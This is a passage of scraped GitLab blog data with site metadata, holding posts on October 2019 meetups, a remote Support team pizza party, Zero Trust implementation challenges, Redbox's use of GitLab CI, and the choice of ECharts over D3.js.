\"GitLab Meetups: October 2019\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"John Coghlan\"}],\n        \"datePublished\": \"2019-10-02\",\n      }",{"title":27069,"description":27070,"authors":27074,"heroImage":25985,"date":27057,"body":27075,"category":18484,"tags":27076},[6631],"\n\n{::options parse_block_html=\"true\" /}\n\n\n\nCan't make it to London for [GitLab Commit](/events/commit)? Here are some other places you'll find the GitLab community in October.\n\n![GitLab Meetups map](https://about.gitlab.com/images/blogimages/gitlab-meetup-map-2019-10.jpg){: .shadow}\n\n#### GitLab Nigeria Community\n\nTake a deep dive into GitLab at this meetup in Bauchi, Nigeria on October 5. This meetup will cover Planning, Source Code Management, CI/CD, Monitoring & Security. Details and RSVP on [Meetup](https://www.meetup.com/GitLab-Nigeria-Community/events/263879735/). \n\n#### GitLab Polska\n\nThe GitLab Polska meetup group will gather in Warszawa on October 8 for talks on GitLab and updates on our latest release. Details and RSVP on [Meetup](https://www.meetup.com/GitLab-Polska/events/265018178/).\n\n#### GitLab Białystok\n\nThe second of two meetups in Poland on October 8, this event in Białystok will feature a talk on using GitLab for static pages. Details and RSVP on [Facebook](https://www.facebook.com/events/692557334577918/).\n\n#### Frankfurt GitLab Meetup x Age of DevOps \n\nThe Frankfurt GitLab Meetup Group is partnering with the Age of DevOps meetup group for this event featuring talks on controlling Kubernetes appliations with GitLab and using GitLab for developers. The co-meetup will be in Weisbaden on October 10. Details and RSVP on [Meetup](https://www.meetup.com/GitLab-Nigeria-Community/events/264073442/).\n\n#### GitLab Nigeria Community \n\nLearn how to use Git like a pro at this community lead event in Abuja, Nigeria on October 18. Details and RSVP on [Meetup](https://www.meetup.com/GitLab-Nigeria-Community/events/264073442/).\n\n#### GitLab Hamburg Meetup\n\nThe GitLab community will meet in Hamburg, Germany on October 23 for a CLI-Tool \"Lab\" and a Q&A with some GitLab team members. Details and RSVP on [Meetup](https://www.meetup.com/GitLab-Meetup-Hamburg/events/264381595).\n\n#### Greater Atlanta GitLab Meetup\n\nDetails coming soon but mark your calendars for October 24!\n\n#### México City GitLab Meetup \n\nThis GitLab 101 workshop will teach attendees how to get started with GitLab. Details and RSVP on [Meetup](https://www.meetup.com/Mexico-City-GitLab-Meetup/events/265343816/).\n\n#### What's next?\n\nAre you ready to join a local community but don’t see an event near you? Take a look at the [GitLab Meetups page](/community/meetups) or reach out to [me](https://twitter.com/john_cogs/) to learn how GitLab can help you start a meetup in your area.\n",[267,277],{"slug":27078,"featured":6,"template":678},"gitlab-october-2019-meetups","content:en-us:blog:gitlab-october-2019-meetups.yml","Gitlab October 2019 Meetups","en-us/blog/gitlab-october-2019-meetups.yml","en-us/blog/gitlab-october-2019-meetups",{"_path":27084,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":27085,"content":27091,"config":27096,"_id":27098,"_type":16,"title":27099,"_source":17,"_file":27100,"_stem":27101,"_extension":20},"/en-us/blog/support-virtual-pizza-party",{"title":27086,"description":27087,"ogTitle":27086,"ogDescription":27087,"noIndex":6,"ogImage":27088,"ogUrl":27089,"ogSiteName":1180,"ogType":1181,"canonicalUrls":27089,"schema":27090},"GitLab Support Virtual Pizza Party","Come learn about the GitLab Support Virtual Pizza Party","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749670544/Blog/Hero%20Images/alan-hardman-SU1LFoeEUkk-unsplash.jpg","https://about.gitlab.com/blog/support-virtual-pizza-party","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Support Virtual Pizza Party\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Jason Colyer\"}],\n        \"datePublished\": \"2019-10-02\",\n      }",{"title":27086,"description":27087,"authors":27092,"heroImage":27088,"date":27057,"body":27094,"category":18484,"tags":27095},[27093],"Jason Colyer","\n\n{::options parse_block_html=\"true\" /}\n\n\n\nHere at GitLab, we truly appreciate our amazing support team! They work\ntirelessly to provide our users the very best support and achieve the goals we\nset for them. Through tickets, calls, issues, MRs, etc., they work each and\nevery day to not only support GitLab, but also improve it. As a Support Manager,\nI truly appreciate each and every thing they do here. I take a lot of pride in\ntelling people what I do for a living, and it is in large part thanks to the\namazing team I work with.\n\nWith everything they have done, the support managers brought up the topic of\nshowing appreciation. We often thank them, but as of late, we felt we needed to\ndo something more. But the big question was _how_?\n\nWhen I first started working as a manager, it was in an office. Back then,\nshowing appreciation was relatively easy. We saw one another almost every day\nafter all! I could easily address my team, thank them wholeheartedly for their\namazing work, and see they knew they were truly appreciated. If I wanted to\nthink outside the box, I very well could. We were all working together in a \nphysical place, so it wasn't too difficult to get inventive.\n\nOne of my all-time favorite ways of showing appreciation for my team\nwas having a pizza party (yes I know, this isn't _that_ inventive)! We would eat\ngreasy pizza, see different topping choices, and overall, grow as a team. Once I\nstarted working fully remote, I had pretty much convinced myself the days of\npizza parties were a thing of the past. That was, until the Support Managers\nfloated the idea of doing one asynchronously. It was taking the idea of \n[social calls](https://about.gitlab.com/company/culture/all-remote/informal-communication/#social-calls)\nand adding pizza to it!\n\nI instantly fell in love with the idea, so I had no objections when we decided\nto go through with the concept. We encouraged the team to order pizza (any food\nreally) on Friday and post the pictures. What came of this was, in my opinion,\namazing. We got to see pizza and food from all over the globe. It started\ndiscussions of different ways to make pizza, different topping choices, and\ninspired many of us to one day travel outside of our respective regions, all in\nhopes of trying some delicious pizza! I personally had never thought of eating\ngas station pizza, but after seeing the pictures of it, I now long for the day\nI travel to Nebraska to try (what I am told) is the best gas station pizza you\ncan find!\n\n> \"Our global Support team has worked very hard and focused on reaching our\n> lofty targets for our customer service objectives, and this virtual party is\n> in recognition, and appreciation, of their collective efforts!\" - Tom\n> Cooney, Director of Support\n\nThe entire event reminded me of a very important piece of information I had read\nin the [All Remote](https://about.gitlab.com/company/culture/all-remote/)\nsection of the GitLab Handbook: \n\n> \"Remote is not a challenge to overcome.\"\n\nI had seen the concept of showing appreciation to an all-remote team as a\nchallenge I had to overcome. Simply put, it isn't. It wasn't the environment\nthat needed a change, it was merely my way of thinking!\n\nI truly feel honored that I get to work for such an amazing company and a\nfantastic team. I continue to look forward to working more and more with the\namazing GitLab Support team!\n\n![Support Pizza Party 2019-09-27 Collage 1](https://about.gitlab.com/images/blogimages/support_pizza_party/support_pizza_party_2019_09_27_1.jpg){: .shadow.medium.center}\n![Support Pizza Party 2019-09-27 Collage 2](https://about.gitlab.com/images/blogimages/support_pizza_party/support_pizza_party_2019_09_27_2.jpg){: .shadow.medium.center}\n![Support Pizza Party 2019-09-27 Collage 3](https://about.gitlab.com/images/blogimages/support_pizza_party/support_pizza_party_2019_09_27_3.jpg){: .shadow.medium.center}\n![Support Pizza Party 2019-09-27 Collage 4](https://about.gitlab.com/images/blogimages/support_pizza_party/support_pizza_party_2019_09_27_4.jpg){: .shadow.medium.center}\n![Support Pizza Party 2019-09-27 Collage 5](https://about.gitlab.com/images/blogimages/support_pizza_party/support_pizza_party_2019_09_27_5.jpg){: .shadow.medium.center}\n\n[Cover image](https://unsplash.com/photos/SU1LFoeEUkk) by [Alan Hardman](https://unsplash.com/@alanaktion?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com)\n{: .note}\n",[3798],{"slug":27097,"featured":6,"template":678},"support-virtual-pizza-party","content:en-us:blog:support-virtual-pizza-party.yml","Support Virtual Pizza Party","en-us/blog/support-virtual-pizza-party.yml","en-us/blog/support-virtual-pizza-party",{"_path":27103,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":27104,"content":27109,"config":27113,"_id":27115,"_type":16,"title":27116,"_source":17,"_file":27117,"_stem":27118,"_extension":20},"/en-us/blog/zero-trust-at-gitlab-implementation-challenges",{"title":27105,"description":27106,"ogTitle":27105,"ogDescription":27106,"noIndex":6,"ogImage":15352,"ogUrl":27107,"ogSiteName":1180,"ogType":1181,"canonicalUrls":27107,"schema":27108},"Zero Trust at GitLab: Implementation challenges (and a few solutions)","Implementing change in an already working environment always brings its fair share of growing pains. What happens when that change is Zero Trust?","https://about.gitlab.com/blog/zero-trust-at-gitlab-implementation-challenges","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Zero Trust at GitLab: Implementation challenges (and a few solutions)\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Mark Loveless\"}],\n        \"datePublished\": \"2019-10-02\",\n      }",{"title":27105,"description":27106,"authors":27110,"heroImage":15352,"date":27057,"body":27111,"category":674,"tags":27112},[5362],"\n\nUpdate: This is part 5 of an ongoing [Zero Trust series](/blog/tags.html#zero-trust). See our next and final post in this series: [Zero Trust at GitLab: Where do we go from here?](/blog/zero-trust-at-gitlab-where-do-we-go-from-here/).\n{: .alert .alert-info .note}\n\n\n*Zero Trust is the practice of shifting access control from the network perimeter to the assets, individuals, and the respective endpoints. For GitLab, Zero Trust means that all users and devices trying to access an endpoint or asset within our GitLab environment will need to authenticate and be authorized. This is part five of a multi-part series.*\n\nCheck out these other posts to get up to speed:\n* Part one: [The evolution of Zero Trust](/blog/evolution-of-zero-trust/)\n* Part two: [Zero Trust at GitLab: Problems, goals, and coming challenges](/blog/zero-trust-at-gitlab-problems-goals-challenges)\n* Part three: [Zero Trust at GitLab: The data classification and infrastructure challenge](/blog/zero-trust-at-gitlab-the-data-classification-and-infrastructure-challenge/)\n* Part four: [Zero Trust at GitLab: Mitigating challenges with data zones and authentication scoring](/blog/zero-trust-at-gitlab-data-zones-and-authentication-scoring/)\n\nAs with most things at GitLab, we’re taking a very open approach to implementing Zero Trust. We’ve tackled everything from the evolution of Zero Trust to the expected challenges and our planned work-arounds.  However, maybe we haven’t yet addressed a ZTN related topic, question or consideration that you’re interested in discussing.\n\nWe’ve been discussing how Zero Trust Networking (ZTN) presents GitLab with a series of challenges, and have suggested a few mitigation strategies. In order to fully understand some of these challenges and how to approach them we’ll need to drop a bit deeper into the details.\n\n## Immediate Challenges\n\nThe first major hurdle that comes with discussing Zero Trust Networking (ZTN) is a classic one: Getting the plan implemented. Any security professional who has tried to implement changes to an already working environment has experienced these growing pains. GitLab is an extremely forward-thinking organization and we're constantly implementing massive changes to our software. But this still doesn’t mean everyone welcomes every change with open arms.\n\nCurrently, things work. We have an environment that is remarkably stable and pretty secure despite all the changes. When the security department starts rumbling about certain types of changes, there is resistance. So we have to look at things a bit differently to get some of our ideas implemented. How do we do this?\n\n## Real Problems\nWe’ve previously discussed areas where we anticipated problems, but what we really need to do is look at existing problems and work out solutions. If we can get some hash marks in the “win” column for ZTN, it helps prove that ZTN is a rational approach for security. If we can solve some pressing problems along the way (or make older, less robust solutions better) it improves the general appeal for ZTN. It is one thing to expect resistance, it is another to encounter it. Security changes need to make things easier for the end-user, otherwise, the end-user will fight and try to bypass what are perceived as roadblocks to productivity. We can’t make every single person happy, but we can try to make as many users as happy as possible while making every single person a bit safer. That said, we encountered a bit of resistance in a few areas.\n\n### User identity\nIn the past, we’ve had issues with provisioning user accounts – we’d need to get a team member set up in all of the systems as quickly as possible. When the entire company had 35 people this was not that great of a burden. But right now the Security Department alone has 35+ people (and counting, we’re [hiring](/jobs/), hint hint) and we’ve had times where 35 people started at GitLab in a single week.\n\nWe’re growing! Any time we make changes to the process of user-identity, we have to keep in mind that most of the departments are more concerned with provisioning new users than actual user identity. Their main goal is to get new team members productive as quickly as possible, so access to systems immediately is crucial. Ideally, any solution for user-identity should work seamlessly with the entire user lifecycle – provisioning through deprovisioning – without disruption to company productivity.\n\n### Device management\nWe have issues with both device identification and device management. We need to strike a balance between ensuring team members have access to the tools they need to perform their jobs, and simply allowing team members to use whatever computing device they want to complete tasks and maintain productivity. Interestingly, this is one area where GitLab’s distinctive background as a company has created a rather unique challenge. We started as an open source project and only in the last couple of years have we been purchasing laptops for team members (for years it was [BYOD](https://en.wikipedia.org/wiki/Bring_your_own_device)). To help in this area, we’ve [standardized](/handbook/business-technology/team-member-enablement/onboarding-access-requests/#laptops) what the company will purchase for new team members (and older team members are certainly eligible for new systems). Having a standard platform is great. Our issue here is both a cultural one as well as a practical one.\n\nSince our roots are in BYOD, we cannot simply turn off BYOD overnight. In fact, I see a lot of benefits to BYOD in certain scenarios – typing up blog posts on a tablet in a coffee shop seems fine, code commits to critical systems are not. Anyone can contribute – that is a cultural core belief and our [mission](/company/mission/#mission) at GitLab. We have team members as well as non-employees that contribute to our code base, our handbook, and everything else we do. We don’t have some of the normal corporate standardization that a typical brick-and-mortar company might have, such as using the corporate-issued-laptop only with asset tracking and patch management built-in, forbidding the use of BYOD, and so on. We do have policies in place, but they are not proactively enforced because we lack the asset management solutions at the moment to do so at the level we desire.\n\nAs a security professional, I am thrilled we have standardized on Linux as our main infrastructure platform, Macs for team members, and engineering team members have a choice of Mac or Linux for the work laptop. No Microsoft Windows.\n\nHowever, trying to find a solution for asset management for our chosen platforms is a challenge. Most vendor solutions are Windows and Mac or Windows and Linux. There are some vendor solutions that support both Mac and Linux, but are often the more “Windows and Mac, and well, sort of Linux if you only run this ancient binary that dates back to an acquisition three years ago, I think Alice is still here from that acquisi- no wait she left” flavor.\n\nI haven’t even discussed phones. These are commonly used for various methods of multi-factor authentication, although we don’t currently have a good way to ensure the phones used for MFA are secured and fully patched. And many team members access work applications on their phones – email, Slack, Zoom, and Expensify, to name a few.\n\n### Sprawling infrastructure\nTo complicate things we have hundreds of servers/containers/instances on numerous cloud offerings spread around the world, and dozens of cloud-based “Something-or-other as a Service” offerings we use as a company. While we don’t administer all systems via [SSH](https://en.wikipedia.org/wiki/Secure_Shell) ([Chef](https://www.chef.io/) and [Knife](https://docs.chef.io/knife.html) are used heavily in our environment) there are still challenges with provisioning, and that we’re currently unable to enforce two factor for SSH. Yes, we can use Yubikeys to store keys and a few other tricks for SSH access, but getting things set up for team members to administer these systems is daunting.\n\n## Wins\nA lot of our problems with identity management at GitLab were solved by [implementing Okta](/handbook/business-technology/okta/#how-is-gitlab-using-okta), and entire departments were thrilled. Provisioning steps that took days had been reduced to minutes. [Okta](https://en.wikipedia.org/wiki/Okta_(identity_management)) has a number of features that supported our vision of ZTN, so if we can solve some ZTN problems with Okta, we’re doing it with a proven solution that people already use. If we can solve a problem with Okta it will be a much easier “sell” to the various impacted departments, and since we can implement a lot of our ZTN model with Okta, it is a win-win situation.\n\nWhile the Security Team felt that a number of security problems were solved with Okta, this was not how the product was “sold” to the rest of the company. The ZTN benefits were pitched as business solutions to existing business problems to the various business and application owners in GitLab – meeting provisioning and compliance needs. It was not sold as a security solution, and this approach worked well.\n\nOur use of Chef along with Knife has been a massive help with infrastructure changes, and has simplified a lot of the usual drudgery associated with system administration. For example, pushing code changes out to multiple systems is much simpler.\n\n_Can we apply any of the wins to our existing challenges?_\n\n### Enforcing Okta Everywhere\n\nBy trying to get the numerous SaaS solutions we use to only be accessed via Okta, we are looking to solve 70% (a WAG at best) of our issues in the SaaS area. This does not address everything. Some of the access to these systems requires not just traditional web-based access but API access as well. Not all systems integrate with Okta, or API access is completely separate, but this approach is working so far and things have gone reasonably well where Okta is implemented.\n\n### Linux-based Infrastructure\nIn the sprawling [infrastructure](/handbook/engineering/infrastructure/) arena, our greatest challenge is that some of our most critical assets are administered via SSH. As a result, we have issues with provisioning, deprovisioning, and enforcing other aspects of authentication that we take for granted with web-based assets. We are seriously looking at leveraging Okta and their [Advanced Server Access](https://www.okta.com/products/advanced-server-access/) (ASA) product, which looks like we could integrate SSH accounts into the Okta mix. Using ASA could allow for provisioning of a new administrator via group assignment. Since we get multi-factor, enforcement of GeoIP, and a few other bells and whistles via Okta, by using ASA we could resolve one of the hardest problems we currently face. This has the added benefit of making the compliance and auditing folk happy, to say nothing of just general time-savings.\n\nWhile ASA (and any similar product) requires we install software on the server side, we do have Chef and Knife to help with deployment. Rollout could happen quickly. Our main issues here would be performance impact and client software distribution, although a regulated testing period and a decent rollout plan could help solve those issues.\n\n### All those devices\nThis one is ugly. While moving more and more systems into Okta helps, it also emphasizes our biggest weakness – device management. After importing Okta logs into other systems for analysis, we can see what our team members are using to access GitLab assets. The good news is the majority of team members are using company-issued laptops, although we are not sure what patch level or configurations are in place. We do have company standards, but we do not have the level of control we’d like to ensure these standards are met. For example, we’d like to ensure that all team member systems accessing critical information ([RED data](/handbook/security/data-classification-standard.html#data-classification-levels)) are doing it from a company-issued system that is up-to-date on patches and is properly configured. We’d prefer to do it at the time of authentication, and not after the fact via log mining.\n\nPhones are already a touchy subject, since this is the main BYOD device allowed on most corporate networks. We use Expensify, and I cannot imagine using it without the phone app even though it is possible. I love using Okta Verify on my phone, and approving push multi-factor from my Apple Watch. I know Okta has some potential solutions, but unless there is a solution from any vendor that is BYOD friendly instead of full takeover MDM, I can’t imagine successfully selling it to fellow team members.\n\nThe main issue here is that device management is an important part of ZTN, and the tools to make this happen at the quality level we’d like don’t seem to exist. As stated earlier, we have a mixture of Mac and Linux desktops so we’d like one solution to make this happen, not two.\n\n## Conclusion\nWe did not intend for this blog post to be an Okta commercial, but it does happen to meet our needs for part of this whole ZTN equation. We’re still searching for a solution for asset management. I wish I could claim this was not a commercial for an asset management solution, because that is quite the challenge.\n\nWhile we still have a long way to go, we have a better handle on direction. Our points of resistance – both from team members impacted by change and technological limits based upon our environment – are showing where we need to focus but also how we need to approach things. Finding cultural and technological areas where we are doing well are huge strengths we can leverage, and by focusing our efforts on those areas, more of our environment benefits from Zero Trust.\n\nIf you’re implementing ZTN and have similar (or different) problems, I’d love to discuss. If you’ve got thoughts or a question, comment below, we’d love to hear from you.\n\n\n*Special shout-out to the entire security team for their input on this blog series.*\n\nPhoto by [Jp Valery](https://unsplash.com/@jpvalery?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n\n",[676,674,6141],{"slug":27114,"featured":6,"template":678},"zero-trust-at-gitlab-implementation-challenges","content:en-us:blog:zero-trust-at-gitlab-implementation-challenges.yml","Zero Trust At Gitlab Implementation Challenges","en-us/blog/zero-trust-at-gitlab-implementation-challenges.yml","en-us/blog/zero-trust-at-gitlab-implementation-challenges",{"_path":27120,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":27121,"content":27127,"config":27132,"_id":27134,"_type":16,"title":27135,"_source":17,"_file":27136,"_stem":27137,"_extension":20},"/en-us/blog/redbox-on-demand-delivers-with-gitlab",{"title":27122,"description":27123,"ogTitle":27122,"ogDescription":27123,"noIndex":6,"ogImage":27124,"ogUrl":27125,"ogSiteName":1180,"ogType":1181,"canonicalUrls":27125,"schema":27126},"Redbox delivers On Demand with GitLab","Redbox's Joel Vasallo and Nicholas Konieczko explain how they ‘deliver software like a fox’ with GitLab.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749673064/Blog/Hero%20Images/redbox-blog-jannes-glas-unsplash.jpg","https://about.gitlab.com/blog/redbox-on-demand-delivers-with-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Redbox delivers On Demand with GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Brein Matturro\"}],\n        \"datePublished\": \"2019-10-01\",\n      }",{"title":27122,"description":27123,"authors":27128,"heroImage":27124,"date":27129,"body":27130,"category":813,"tags":27131},[24484],"2019-10-01","\nAt GitLab Connect Chicago, Redbox's [Joel Vasallo](https://www.linkedin.com/in/joelvasallo) and [Nicholas Konieczko](https://www.linkedin.com/in/nick-konieczko-42895354) presented a talk called “Delivering software like a fox.” Redbox, primarily known for providing movie and video game rentals via automated retail kiosks, has recently expanded to provide streaming services.\n\nRedbox On Demand is the company's newest streaming platform, built on .NET Core in containers on Linux in the cloud. The video retail company had a few goals in mind when building its latest platform. Joel, cloud DevOps manager, and Nicholas, mobile applications manager, share their three main objectives and how GitLab provides the tool that ensures success.\n\n## Goal #1: Modernize software development processes\n\nThe mobile and development teams wanted to be able to create the platform using the latest technology in order to provide the best product for the customer. “[There was] nothing wrong with the way they were done, but in the sense that the world has really come a long way from traditional Windows servers... in a data center running .NET frameworks and stuff like that, we really wanted to empower developers to use containers,” Joel says.\n\n**Outcome**: The mobile and development teams currently use GitLab CI, leveraging Fastlane. The power of GitLab and its ability to work along with other tools helped to modernize software development processes.\n\n## Goal #2: Speed up delivery to the cloud\n\nProviding an on-demand service means that the application has to actually be ready at the very moment of demand. Being new to the streaming arena, it was important for Redbox to move to the cloud. “We also wanted to leverage the power of the cloud and have the scaling perspective of the cloud. We wanted to be in the cloud, as everyone wants to be nowadays. We also wanted to ensure that our features go out the door faster because, in the streaming business, it's all about being first to market with your features,” Joel says.\n\n**Outcome**: The teams now use GitLab CI along with Spinnaker. “We wanted to increase software delivery and do what's best for the teams. I don't want to dictate what developers should do in their day-to-day workflow,” Joel says.\n\n## Goal #3: Empower developers to own their applications\n\nThe hope was that a developer would be able to deploy code to production at any time with a single click of a button. Developers would then have the ability to just write the code and a working tool will be able to pick up the errors. “Code goes out the door based on an approval process. Developers are able to own and operate their code, essentially,” Joel says.\n\n**Outcome**: The objective was achieved, according to Joel. “Ultimately, developers own their own apps. GitLab Enterprise allowed teams to own their own verticals as well as Spinnaker, which allows them to deploy it to whatever cloud provider that they so choose.”\n\nTo learn more about how GitLab helped the mobile and development teams achieve their platform goals (and more), watch the presentation below.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/3eG8Muorafo\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## Key takeaways\n\n### Putting the version in version control\n\n“There was a disparate amount of Git and source control tools. Namely, we had an internal Git server, which... I don't know what it was actually running. We had GitHub.com. We had Team Foundation Server. We had Azure DevOps. So all this stuff... Teams were really all over the place. They all had their source code. Getting access to things was just a nightmare.\n\n“So what did we do? Let's get another version control system into the mix. We need a fifth one. So we picked GitLab. Honestly, GitLab was the most tried and true solution from our perspective. It has support for a few things, like on-prem, also in the cloud as well on the .com offering. But, more than that, at the end of the day it let developers control their namespace within a large organization.” – _Joel Vasallo_\n\n### GitLab works for mobile development\n\n“The mobile teams were the first to get to try out GitLab.com. It's simple. It's extremely easy to get started. There's a lot of documentation out there, all the things I love. It's very cost effective. We were able to get a free trial running, get repos open, test out different things, different features, to see if it could work for our teams.\" – _Nick Konieczko_\n\n### Yes, you can use Jenkins too\n\n“This is, honestly, one of the best things about GitLab, is they just want us to be successful. Batteries are included. There's a lot of great tools in there, such as GitLab CI, the GitLab Issue Board... and GitLab's Artifact Repository. It's built into the platform. GitLab's pipelines with the CI/CD process, all of this comes in. But if you don't want to use it, it'll adapt to your business model.\n\n“For example, my team uses Jenkins. We can still use GitLab. There's no blocking event where it says, ‘Oh, you're using Jenkins. You can't talk to us. Error. Blocked.’ No, we use Jira. We type ‘Jira, take us into GitLab’ all the time. We have JFrog Artifactory. We also use Spinnaker for our software delivery. Again, it transforms to what you need as a business, and that's the thing that I really appreciate, being on the DevOps side.” – _Joel Vasallo_\n\nCover image by [Jannes Glas](https://unsplash.com/@jannesglas) on [Unsplash](https://www.unsplash.com)\n{: .note}\n",[4772,1268,1067,232],{"slug":27133,"featured":6,"template":678},"redbox-on-demand-delivers-with-gitlab","content:en-us:blog:redbox-on-demand-delivers-with-gitlab.yml","Redbox On Demand Delivers With Gitlab","en-us/blog/redbox-on-demand-delivers-with-gitlab.yml","en-us/blog/redbox-on-demand-delivers-with-gitlab",{"_path":27139,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":27140,"content":27146,"config":27151,"_id":27153,"_type":16,"title":27154,"_source":17,"_file":27155,"_stem":27156,"_extension":20},"/en-us/blog/why-we-chose-echarts",{"title":27141,"description":27142,"ogTitle":27141,"ogDescription":27142,"noIndex":6,"ogImage":27143,"ogUrl":27144,"ogSiteName":1180,"ogType":1181,"canonicalUrls":27144,"schema":27145},"Why we chose ECharts for data visualizations","Learn why GitLab switched from D3.js to ECharts as our library of choice for rendering data visualizations.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749666699/Blog/Hero%20Images/banner.jpg","https://about.gitlab.com/blog/why-we-chose-echarts","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Why we chose ECharts for data visualizations\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Clement Ho\"}],\n        \"datePublished\": \"2019-09-30\",\n      }",{"title":27141,"description":27142,"authors":27147,"heroImage":27143,"date":27148,"body":27149,"category":734,"tags":27150},[22111],"2019-09-30","\nAs GitLab continues to grow in depth and breadth across the [DevOps lifecycle](/topics/devops/), the use of charts and data visualizations has increased in frequency and complexity. Throughout the life of GitLab as a project, we've used multiple libraries to render beautiful charts. As the number of different libraries increased along with our charting requirements, we decided it was time to start unifying our charting libraries to help us move quickly.\n\nAt first, we wanted to unify our charts using D3.js but this was difficult because D3.js isn't a charting library. In their own words: \"D3.js is a JavaScript library for manipulating documents based on data,\" meaning it is a low level visualization tool. D3.js is powerful but it has a big learning curve. Our team did not have the time to develop the expertise without impacting our product development velocity. We also knew we had an ambitious hiring plan, and we would be adding time to our onboarding process by using D3.js.\n\nThe frontend team set out to investigate different charting libraries that we could use to gain more velocity. The library didn't have to do everything we needed, but it had to get us most of the way there. We investigated many libraries including ECharts, Britecharts, and Plotly as potential options. In the end, ECharts was the clear winner for us. Here's why:\n\n## Echarts robust yet flexible chart types\nOn the monitor stage frontend team, we have the [ambitious goal of replacing well-known monitoring tools like DataDog and Grafana](/direction/monitor/). It was absolutely critical that our charting library had enough flexibility for us to create our own custom charts, but it was also important that the library had existing charts so that we didn’t have to create every chart from scratch for the sake of development velocity.\n\nECharts has an [incredible showcase](https://echarts.apache.org/examples/en/) of the adaptability of their charts. This was a great starting point for us. We tested out styling ECharts to match our design system to determine how adaptable it was and we were very satisfied with the results.\n\n![design](https://about.gitlab.com/images/blogimages/why-we-chose-echarts/design.png)\n*Design spec for future GitLab charts.*\n\n![implementation](https://about.gitlab.com/images/blogimages/why-we-chose-echarts/implementation.png)\n*Evaluation implementation using ECharts.*\n\n## Echarts performance\nWhen we were evaluating ECharts, we took one of our most complex user interactions for charts to benchmark the performance of the charting library. Although ECharts wasn’t perfect, it fared better than the alternatives. Below are some gifs recorded from changing the chart values in our [evaluation project](https://gitlab.com/adriel/echarts-proof-of-concept). As you can see, performance does decrease as the data points increase but it is still usable and it is unlikely we would have that many points in such a small chart.\n\n![10 values](https://about.gitlab.com/images/blogimages/why-we-chose-echarts/10-points.gif)\n*Linked chart with 10 values.*\n\n![100 values](https://about.gitlab.com/images/blogimages/why-we-chose-echarts/100-points.gif)\n*Linked chart with 100 values.*\n\n![1000 values](https://about.gitlab.com/images/blogimages/why-we-chose-echarts/1000-points.gif)\n*Linked chart with 1000 values.*\n\n![4000 values](https://about.gitlab.com/images/blogimages/why-we-chose-echarts/4000-points.gif)\n*Linked chart with 4000 values.*\n\n## Growing ecosystem\n\nECharts isn’t perfect but it has [improved over time](https://incubator.apache.org/projects/echarts.html). It started off as an [open source project from Baidu](https://whimsy.apache.org/board/minutes/ECharts.html) but is still going through the process of being incubated into the Apache Software Foundation. The [majority of ECharts users still seem to be based in China](https://echarts.apache.org/en/committers.html), meaning the developer community and corresponding documentation is written primarily in Chinese. Despite some language barriers, the ECharts community does seem to be growing more internationally. We’ve come across a variety of companies from the United States and Mexico who are either evaluating or using ECharts internally.\n\nThe Podling Project Management Committee (PPMC) of ECharts, which is their core team in GitLab terms, has also been very welcoming and energetic about growing the ecosystem. As we decided on ECharts and began developing new charts and replacing old charts, we’ve been able to build a partnership with the company. They have been very kind to meet with us online every month to help answer questions and to guide us in using their library effectively. This has been extremely helpful. For example during one of our meetings, Shuang Su gave us a brief walkthrough of the codebase and it's architecture.\n\n## Where we are today with Echarts\n\nWe introduced [ECharts to the GitLab codebase in 11.6](https://gitlab.com/gitlab-org/gitlab-ce/issues/53147) and through ECharts have been rapidly building new chart types into our component library at a faster rate than ever before. We started with updating the charts in just our Monitor stage but have since introduced charts into the [Secure](https://gitlab.com/gitlab-org/gitlab-ee/issues/6954) and [Manage](https://gitlab.com/gitlab-org/gitlab-ee/issues/12079) stages.\n\nDepending on your use case, Apache ECharts could be a good fit for you too. For our team, ECharts has without a doubt increased our product development velocity over against what it was with D3.js.\n\n| Old chart in D3.js | New chart in ECharts |\n|",[676,2250,11037],{"slug":27152,"featured":6,"template":678},"why-we-chose-echarts","content:en-us:blog:why-we-chose-echarts.yml","Why We Chose Echarts","en-us/blog/why-we-chose-echarts.yml","en-us/blog/why-we-chose-echarts",{"_path":27158,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":27159,"content":27165,"config":27170,"_id":27172,"_type":16,"title":27173,"_source":17,"_file":27174,"_stem":27175,"_extension":20},"/en-us/blog/plugin-instability",{"title":27160,"description":27161,"ogTitle":27160,"ogDescription":27161,"noIndex":6,"ogImage":27162,"ogUrl":27163,"ogSiteName":1180,"ogType":1181,"canonicalUrls":27163,"schema":27164},"The problem with plugins","For all of the customization, plugins sometimes come at a high price.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749673012/Blog/Hero%20Images/plugin-instability.jpg","https://about.gitlab.com/blog/plugin-instability","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"The problem with plugins\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Chrissie Buchanan\"}],\n        \"datePublished\": \"2019-09-27\",\n      }",{"title":27160,"description":27161,"authors":27166,"heroImage":27162,"date":27167,"body":27168,"category":8943,"tags":27169},[18462],"2019-09-27","\nWe’ve talked a lot over the past year about how [all-in-one is taking over the marketplace 